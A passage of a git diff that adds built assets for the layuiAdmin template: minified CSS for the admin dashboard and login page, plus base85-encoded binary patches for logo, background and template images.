li.layui-this:after{width:100%;border:none;height:2px;background-color:#292B34}.layadmin-tabspage-none .layui-layout-admin .layui-header{border-bottom:none;box-shadow:0 1px 2px 0 rgba(0,0,0,.05)}.layadmin-tabspage-none .layui-layout-admin .layui-body{top:50px}.layadmin-tabspage-none .layadmin-header{display:block}.layadmin-tabspage-none .layadmin-header .layui-breadcrumb{border-top:1px solid #f6f6f6}.layui-layout-admin .layui-header{border-bottom:1px solid #f6f6f6;box-sizing:border-box;background-color:#fff}.layui-layout-admin .layui-header a,.layui-layout-admin .layui-header a cite{color:#333}.layui-layout-admin .layui-header a:hover{color:#000}.layui-layout-admin .layui-header .layui-nav .layui-nav-more{border-top-color:#666}.layui-layout-admin .layui-header .layui-nav .layui-nav-mored{border-color:transparent transparent #666}.layui-layout-admin .layui-header .layui-nav .layui-this:after,.layui-layout-admin .layui-header .layui-nav-bar{height:2px;background-color:#20222A}.layui-layout-admin .layui-logo{background-color:#20222A;box-shadow:0 1px 2px 0 rgba(0,0,0,.15)}.layui-layout-admin .layui-logo,.layui-layout-admin .layui-logo a{color:#fff;color:rgba(255,255,255,.8)}.layui-side-menu{box-shadow:1px 0 2px 0 rgba(0,0,0,.05)}.layui-layout-admin .layui-footer{padding:10px 0;text-align:center;box-shadow:0 -1px 2px 0 rgba(0,0,0,.05)}.layadmin-setTheme-side,.layui-side-menu{background-color:#20222A;color:#fff}.layadmin-setTheme-header,.layui-layout-admin .layui-footer{background-color:#fff}.layui-tab-admin .layui-tab-title{background-color:#393D49;color:#fff}.layui-fluid{padding:15px}.layadmin-header{display:none;height:50px;line-height:50px;margin-bottom:0;border-radius:0}.layadmin-header .layui-breadcrumb{padding:0 15px}.layui-card-header{position:relative}.layui-card-header .layui-icon{line-height:initial;position:absolute;right:15px;top:50%;margin-top:-7px}.layadmin-iframe{position:absolute;width:100%;height:100%;left:0;top:0;right:0;bottom:0}.layadmin-carousel{height:185px!important;background-color:#fff}.layadmin-carousel .layui-carousel-ind li{background-color:#e2e2e2}.layadmin-carousel .layui-carousel-ind li:hover{background-color:#c2c2c2}.layadmin-carousel .layui-carousel-ind li.layui-this{background-color:#999}.layadmin-carousel .layui-carousel,.layadmin-carousel>[carousel-item]>*{background-color:#fff}.layadmin-carousel .layui-col-space10{margin:0}.layadmin-carousel .layui-carousel-ind{position:absolute;top:-41px;text-align:right}.layadmin-carousel .layui-carousel-ind ul{background:0 0}.layui-card .layui-tab-brief .layui-tab-title{height:42px;border-bottom-color:#f6f6f6}.layui-card .layui-tab-brief .layui-tab-title li{margin:0 15px;padding:0;line-height:42px}.layui-card .layui-tab-brief .layui-tab-title li.layui-this{color:#333}.layui-card .layui-tab-brief .layui-tab-title .layui-this:after{height:43px}.layui-card .layui-tab-brief .layui-tab-content{padding:15px}.layui-card .layui-table-view{margin:0}.layadmin-shortcut li{text-align:center}.layadmin-shortcut li .layui-icon{display:inline-block;width:100%;height:60px;line-height:60px;text-align:center;border-radius:2px;font-size:30px;background-color:#F8F8F8;color:#333;transition:all .3s;-webkit-transition:all .3s}.layadmin-shortcut li cite{position:relative;top:2px;display:block;color:#666;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;font-size:14px}.layadmin-shortcut li:hover .layui-icon{background-color:#f2f2f2}.layadmin-backlog .layadmin-backlog-body{display:block;padding:10px 15px;background-color:#f8f8f8;color:#999;border-radius:2px;transition:all .3s;-webkit-transition:all .3s}.layadmin-backlog-body h3{padding-bottom:10px;font-size:12px}.layadmin-backlog-body p cite{font-style:normal;font-size:30px;font-weight:300;color:#009688}.layadmin-backlog-body:hover{background-color:#f2f2f2;color:#888}.layadmin-dataview{height:332px!important}.layadmin-dataview>[carousel-item]:before{display:none}.layadmin-dataview>[carousel-item]>div{height:332px}.layadmin-takerates{padding-top:5px}.layadmin-takerates .layui-progress{margin:50px 0 60px}.layadmin-takerates .layui-progress:last-child{margin-bottom:10px}.layadmin-takerates .layui-progress h3{position:absolute;right:0;top:-35px;color:#999;font-size:14px}.layadmin-takerates .layui-progress-bar{text-align:left}.layadmin-takerates .layui-progress-text{top:-35px;line-height:26px;font-size:26px}.layadmin-news{height:60px!important;padding:5px 0}.layadmin-news a{display:block;line-height:60px;text-align:center}.layadmin-news .layui-carousel-ind{height:45px}.layadmin-list li{margin-bottom:6px;padding-bottom:6px;border-bottom-color:#f6f6f6;list-style-position:inside;list-style-type:disc;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.layadmin-list li a{color:#666}.layadmin-list li a:hover{color:#009688}.layadmin-list li:last-child{border:none;padding:0;margin:0}.layadmin-text p{margin-bottom:10px;text-indent:2em}.layadmin-text p:last-child{margin:0}.layadmin-font-em{font-size:13px;color:#758697}.layui-card-header .layui-a-tips{position:absolute;right:15px;color:#01AAED}.layuiadmin-card-text{background-color:#f8f8f8;color:#777;padding:24px}.layuiadmin-card-text .layui-text-top{padding-bottom:10px}.layuiadmin-card-text .layui-text-top i{margin-right:10px;font-size:24px;color:#009688}.layuiadmin-card-text .layui-text-top a{line-height:24px;font-size:16px;vertical-align:top}.layuiadmin-card-text .layui-text-center{height:44px;line-height:22px;margin-bottom:10px;overflow:hidden}.layuiadmin-card-text .layui-text-bottom{position:relative}.layuiadmin-card-text .layui-text-bottom a{color:#777;font-size:12px;text-overflow:ellipsis;word-break:break-all}.layuiadmin-card-text .layui-text-bottom span{color:#CCC;font-size:12px;position:absolute;right:0}.layuiadmin-badge,.layuiadmin-btn-group,.layuiadmin-span-color{position:absolute;right:15px}.layuiadmin-card-link a:hover,.layuiadmin-card-team li a:hover,.layuiadmin-card-text a:hover{color:#01AAED;transition:all .3s}.layuiadmin-card-status{padding:0 10px 10px}.layuiadmin-card-status dd{padding:15px 0;border-bottom:1px solid #EEE;display:-webkit-flex;display:flex}.layuiadmin-card-status dd:last-child{border:none}.layuiadmin-card-status dd div.layui-status-img,.layuiadmin-card-team .layui-team-img{width:32px;height:32px;border-radius:50%;background-color:#009688;margin-right:15px}.layuiadmin-card-status dd div.layui-status-img a{width:100%;height:100%;display:inline-block;text-align:center;line-height:32px}.layuiadmin-card-status dd div.layui-status-img img,.layuiadmin-card-team .layui-team-img img{width:50%;height:50%}.layuiadmin-card-status dd div a{color:#01AAED}.layuiadmin-card-status dd div span{color:#BBB}.layuiadmin-card-link{padding-left:10px;font-size:0}.layuiadmin-card-link a{display:inline-block;width:25%;color:#666;font-size:14px;margin-bottom:12px}.layuiadmin-card-link button{vertical-align:top}.layuiadmin-card-link button:hover{color:#009688}.layuiadmin-card-team li{padding:10px 0 10px 10px}.layuiadmin-card-team .layui-team-img{display:inline-block;margin-right:8px;width:24px;height:24px;text-align:center;line-height:24px}.layuiadmin-card-team span{color:#777}.layuiadmin-badge{top:50%;margin-top:-9px;color:#01AAED}.layuiadmin-card-list{padding:15px}.layuiadmin-card-list p.layuiadmin-big-font{font-size:36px;color:#666;line-height:36px;padding:5px 0 10px;overflow:hidden;text-overflow:ellipsis;word-break:break-all;white-space:nowrap}.layuiadmin-card-list p.layuiadmin-normal-font{padding-bottom:10px;font-size:20px;color:#666;line-height:24px}.layuiadmin-span-color{font-size:14px}.layuiadmin-span-color i{padding-left:5px}.layuiadmin-card-status li{position:relative;padding:10px 0;border-bottom:1px solid #EEE}.layuiadmin-card-status li h3{padding-bottom:5px;font-weight:700}.layuiadmin-card-status li p{padding-bottom:10px}.layuiadmin-card-status li>span{color:#999}.layuiadmin-home2-usernote .layuiadmin-reply{display:none;position:absolute;right:0;bottom:12px}.layuiadmin-home2-usernote li:hover .layuiadmin-reply{display:block}.layuiadmin-page-table td span{color:#2F4056}.layuiadmin-page-table td span.first{color:#FF5722}.layuiadmin-page-table td span.second{color:#FFB800}.layuiadmin-page-table td span.third{color:#5FB878}.layuiAdmin-msg-detail h1{font-size:16px}.layuiAdmin-msg-detail .layui-card-header{height:auto;line-height:30px;padding:15px}.layuiAdmin-msg-detail .layui-card-header span{padding:0 5px;color:#999}.layuiAdmin-msg-detail .layui-card-header span:first-child{padding-left:0}.layuiAdmin-msg-detail .layui-card-body{padding:15px}.layuiadmin-content-bread{padding-bottom:20px}.layuiadmin-order-progress{position:relative;top:12px}.layui-card-header.layuiadmin-card-header-auto{padding-top:15px;padding-bottom:15px;height:auto}.layuiadmin-card-header-auto i.layuiadmin-button-btn{position:relative;right:0;top:0;vertical-align:middle}.layuiadmin-card-header-auto .layui-form-item:last-child{margin-bottom:0}.layadmin-setTheme{padding:15px;overflow-x:hidden}.layadmin-setTheme>h5{padding:20px 0 10px;color:#000}.layadmin-setTheme>h5:first-child{padding-top:0}.layadmin-setTheme-color{width:330px;font-size:0}.layadmin-setTheme-color li{position:relative;display:inline-block;vertical-align:top;width:80px;height:50px;margin:0 15px 15px 0;background-color:#f2f2f2;cursor:pointer;font-size:12px;color:#666}.layadmin-setTheme-color li:after{content:'';position:absolute;z-index:20;top:50%;left:50%;width:1px;height:0;border:1px solid #f2f2f2;transition:all .3s;-webkit-transition:all .3s;opacity:0}.layadmin-setTheme-color li.layui-this:after,.layadmin-setTheme-color li:hover:after{width:100%;height:100%;padding:4px;top:-5px;left:-5px;border-color:#5FB878;opacity:1}.layadmin-setTheme-header{position:relative;z-index:10;height:10px;border-top:1px solid #f2f2f2;border-right:1px solid #f2f2f2}.layadmin-setTheme-side{position:absolute;left:0;top:0;width:20px;height:100%;z-index:11;box-shadow:1px 0 2px 0 rgba(0,0,0,.05)}.layadmin-setTheme-logo{position:absolute;left:0;top:0;width:100%;height:10px;box-shadow:0 1px 2px 0 rgba(0,0,0,.15)}.layadmin-form-right{text-align:right}.layadmin-about p{margin-bottom:10px}.layadmin-menu-list .layui-card-header{height:50px;line-height:50px;font-size:16px}.layadmin-menu-list .layui-card-header:active{background-color:#f2f2f2}.layadmin-menu-list .layui-card-header .layui-icon{position:relative;top:1px;left:0;display:inline-block;margin:0 10px;font-size:18px}@-webkit-keyframes layui-rl{from{-webkit-transform:translate3d(100%,0,0)}to{-webkit-transform:translate3d(0,0,0)}}@keyframes layui-rl{from{transform:translate3d(100%,0,0)}to{transform:translate3d(0,0,0)}}.layui-anim-rl{-webkit-animation-name:layui-rl;animation-name:layui-rl}@-webkit-keyframes layui-lr{from{-webkit-transform:translate3d(0 0,0);opacity:1}to{-webkit-transform:translate3d(100%,0,0);opacity:1}}@keyframes layui-lr{from{transform:translate3d(0,0,0)}to{transform:translate3d(100%,0,0)}}.layui-anim-lr,.layui-anim-rl.layer-anim-close{-webkit-animation-name:layui-lr;animation-name:layui-lr}.layadmin-tips{margin-top:30px;text-align:center}.layadmin-tips .layui-icon[face]{display:inline-block;font-size:300px;color:#393D49}.layadmin-tips .layui-text{width:500px;margin:30px auto;padding-top:20px;border-top:5px solid #009688;font-size:16px}.layadmin-tips h1{font-size:100px;line-height:100px;color:#009688}.layadmin-tips .layui-text .layui-anim{display:inline-block}@media screen and (max-width:768px){.layadmin-panel-selection{margin:0;width:auto}.layui-body .layui-nav .layui-nav-item{display:block}.layui-layout-admin .layui-body .layadmin-tabsbody-item{-webkit-overflow-scrolling:touch;overflow:auto}} \ No newline at end of file diff --git a/dist/style/login.css b/dist/style/login.css new file mode 100644 index 0000000..21d7c58 --- /dev/null +++ b/dist/style/login.css @@ -0,0 +1,2 @@ +/** layuiAdmin.pro-v1.4.0 LPPL License By https://www.layui.com/admin/ */ + #LAY_app,body,html{height:100%}.layui-layout-body{overflow:auto}#LAY-user-login,.layadmin-user-display-show{display:block!important}.layadmin-user-login{position:relative;left:0;top:0;padding:110px 0;min-height:100%;box-sizing:border-box}.layadmin-user-login-main{width:375px;margin:0 auto;box-sizing:border-box}.layadmin-user-login-box{padding:20px}.layadmin-user-login-header{text-align:center}.layadmin-user-login-header h2{margin-bottom:10px;font-weight:300;font-size:30px;color:#000}.layadmin-user-login-header p{font-weight:300;color:#999}.layadmin-user-login-body .layui-form-item{position:relative}.layadmin-user-login-icon{position:absolute;left:1px;top:1px;width:38px;line-height:36px;text-align:center;color:#d2d2d2}.layadmin-user-login-body .layui-form-item .layui-input{padding-left:38px}.layadmin-user-login-codeimg{max-height:38px;width:100%;cursor:pointer;box-sizing:border-box}.layadmin-user-login-other{position:relative;font-size:0;line-height:38px;padding-top:20px}.layadmin-user-login-other>*{display:inline-block;vertical-align:middle;margin-right:10px;font-size:14px}.layadmin-user-login-other .layui-icon{position:relative;top:2px;font-size:26px}.layadmin-user-login-other a:hover{opacity:.8}.layadmin-user-jump-change{float:right}.layadmin-user-login-footer{position:absolute;left:0;bottom:0;width:100%;line-height:30px;padding:20px;text-align:center;box-sizing:border-box;color:rgba(0,0,0,.5)}.layadmin-user-login-footer span{padding:0 5px}.layadmin-user-login-footer a{padding:0 5px;color:rgba(0,0,0,.5)}.layadmin-user-login-footer a:hover{color:rgba(0,0,0,1)}.layadmin-user-login-main[bgimg]{background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.05)}.ladmin-user-login-theme{position:fixed;bottom:0;left:0;width:100%;text-align:center}.ladmin-user-login-theme ul{display:inline-block;padding:5px;background-color:#fff}.ladmin-user-login-theme ul li{display:inline-block;vertical-align:top;width:64px;height:43px;cursor:pointer;transition:all .3s;-webkit-transition:all .3s;background-color:#f2f2f2}.ladmin-user-login-theme ul li:hover{opacity:.9}@media screen and (max-width:768px){.layadmin-user-login{padding-top:60px}.layadmin-user-login-main{width:300px}.layadmin-user-login-box{padding:10px}} \ No newline at end of file diff --git a/dist/style/res/bg-none.jpg b/dist/style/res/bg-none.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b7c9e7b864d9354ae00404bb74f1e144ab57e03b GIT binary patch literal 832 zcmex=76T7ZFOwj%ATaE{cASwgX5%^7Y|PA-aBzk}8jk@^fh}&{hLSo* zQZ@@t1{wl#DNZ;Zwm-mu+Vl>Q_HtgT*9|CH2iZ&kqzz#o5}<- z^#Yj5j9@Y`vDq^@LqriwMn<6MsZ(iN6OA^_TpQuDW?6Qau(sx`t1Z{osD%ZauI8LN zXOKo}2X-UI-(5y<5L literal 0 HcmV?d00001 diff --git a/dist/style/res/layui-logo.jpg b/dist/style/res/layui-logo.jpg new file mode 100644 index 0000000000000000000000000000000000000000..da24fdfc9a047daea9128a967bc13a3766aea200 GIT binary patch literal 2871 zcmds%X;hN=8o*yfvD^ulO4PE&%<(#|xr8*;xTI*Nv}mIfnyD$K=7y$C-LlldYi_v& zR~aq_w?a@xL@vl-t(UGJm>kpzvuTpAO6yA z=>VW{$jQ|S0D(Y2oa_OlJm3HTk(ZZOkcTKJK-NQKuktzwWSz2#l9IBLl8T1PAEBY5 zrmmr`rUHX$YQkV}U0q%HmM`%c0#Z~|R8>*ksG+fOvldiq^Oxp-nn<4j&~+dP2m%H{ z0XZlL3vPxc2 zR{uHoGZ*TmumQH!9P-1dY%Lj;@|3N)ZT}I>C2hm)R?&k~rP3ZiMW!JK1w#QOuw1xx z-xufqgJgY?UIFoho1a!S9QKGEI*LYZqICCGIO$_{Umq>+q6SWUdT^mu5`kJGrBOsa z?z@^Jl8y=9XMRXN>|=59+Y2DxopWRbxGWXov=`@6!bGoaj3Q1+ZYB~I6IXnTJL)T{ z6Z-v}1kN|yoXQ?n#^AkGuD)UOT*>#1N9+6@;ybm;(FOaTV1}S!CXA((&w_4j5(}X{A+U2kZn-hQL|rgMpLhigR+16CJlfTB*W?OEKdcBV_(+b zP5cNC7>0YfRrNJKJ$~5Q@iOi%yc8(oygz?(uj6D^ytw(J@cUG36Cr6Xv7HnqwD;Dd zj&F-sM@+}g#&?D>aF$DE5ooj*b~4piL)yz%TIYB{Iw3#FtX5R_;nZ==Qm!_*X|Tn;@pGYh0<;5wr7jspCY(=oL=K7yN7K?s_3GT^heB^&NRK?I{h5a zaIR2d(vN+X=)=#u+>B1)d+AGob%7C~^hyrb@^MNPJ_BVA%{`y?^zd5S?(p_=;UYw8 znGyHaZahAoR@2vV3|YP7h=$^x$iwEonf@=la&#_n42rfhD+WJC@+xaF@IEsDQ0s{Z zCZSTk(-|xj;GZuryGybuwr=s|yN9eMX}A^MgQ&^LUZf~M`*_o!&@naR^~#noYu{f{ zl3D*q#4YyB6`0+few;PoJ zP#*85#D)+cxYl%g+sTQ38`GCUYsXE^a#ww1kbclV)}ny*4h}kW?$4y4zMUyvugHX| zr2QX<(}sSgs3QFpC(M#()u`jo;ZZ1jn15HNYQb4fh9>S)b?k#d$c0v=hxL_h5DUS(_xbZRK0lTSN-=yRU_P`14$-c&LhOjPLDYk0R;nN!Any8yz>|}krs!o z^G6V^H@pZ106nX@4{tGb7X${y-6vYm3~coj@p1$r6dRmDqh;501nBhR^X*ovq(E3$ z<{mSY^g;`pb%qd<3o{n{<_u#j^XvK4NJ#gFbRsj+Bc_L6}-P`y2Nnd6B(g!su{4 zLJPLH2x*lnw9HU#`FcN)tei!&)0blR;0ckJ+lh}>$iCRVwn;7%pF1a(-F){1pHHXJ zX%Az4ja$4K{|1paFsK~oqo#9;XH^q^K1!8Th>}WcaHz*qwa~B5E?Fl6B;#`#emO__GG)C zRz+^QR?H1WwA^6;{f1!YC?I$`8I?<7R71RzpI;5`rm15{Rwx|%5SiX3{b5^>`?6xp&Ji+P}JoHzSf`ms{oDt LmH+Q&(s#cDsUr%7 literal 0 HcmV?d00001 diff --git a/dist/style/res/logo-black.png b/dist/style/res/logo-black.png new file mode 100644 index 0000000000000000000000000000000000000000..73e5ebcb43833eeb621ff764dc7e44323c9afe10 GIT binary patch literal 455 zcmeAS@N?(olHy`uVBq!ia0vp^0zk~q!3HGX7W?Z1DVAa<&kznEsNqQI0P;BtJR*x3 z7=(O5nDO)UBg=t;VkNE-CC){ui6xo&c?uz!xv30>hWbX9`iACTwud+YRmgx;1m~xf zlqVLYGB~E>C#5R5WfrBD=NDxcD>w(6z1XvIwhi*x%GkhWbX9`iACTwud+YRmgx;1m~xf zlqVLYGB~E>C#5R5WfrBD=NDxcD>w(6z1Xv?mq)LJVQ&Orvhh3ZhBjJwL{si@i8$Z~hZfH6NoY=UdxG=(8f}dx% z_2%ldXJ^60g?*18$|4;XJS`KiBE zP^;Mbm-T|g=Ve?zOF2#{gdNR$^iinwM)`p_p9$`fza4ayELhkM@D;Fx{Arb3@buj6 zXVt~~qEFvp%WIezUgCPGyY7R|%E5ZPMa}8-t3p_tY z``aAc)A=}%`4wlAYjl6(8WjtMYm2)ZlZ@m}-}uo`n;@XFmMQ#zo6_yck!&@AFSa~; u)bDs{X{bSo?#XMB;jRpJjpgF&>zVIg*(;naCF>3hR0dC1KbLh*2~7ZTNv#_I literal 0 HcmV?d00001 diff --git a/dist/style/res/template/character.jpg b/dist/style/res/template/character.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ba5e4d1da76da014d1238c4a121c619a087b615e GIT binary patch literal 6153 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 literal 0 HcmV?d00001 diff --git a/dist/style/res/template/huge.jpg b/dist/style/res/template/huge.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ce8acbdfab13feee52eeae73072801313f993665 GIT binary patch literal 419343 zcmbTdcR1T${0EvyY_)1c#SAsu3aYVpgsQ!(YE?@WLG8V(F%qL_jMi2ZRih}1m_<>v zC~XjGRjiu5`Tla%~n*TXy>FH=_>1k3r6kO~B*rlF-wgOM`eJu7AUAP{BJ)RY-hMu$^A2Y}hA*@fVmG?z`CXob-nveDRA zbTF;@Zcei=e?;V*ePieuxVRxaS46LhiAzYz-&DATP*l>^(M9T^^bO1{EUm0*A8qvhs?`s)l!s@0*%iT0ea1 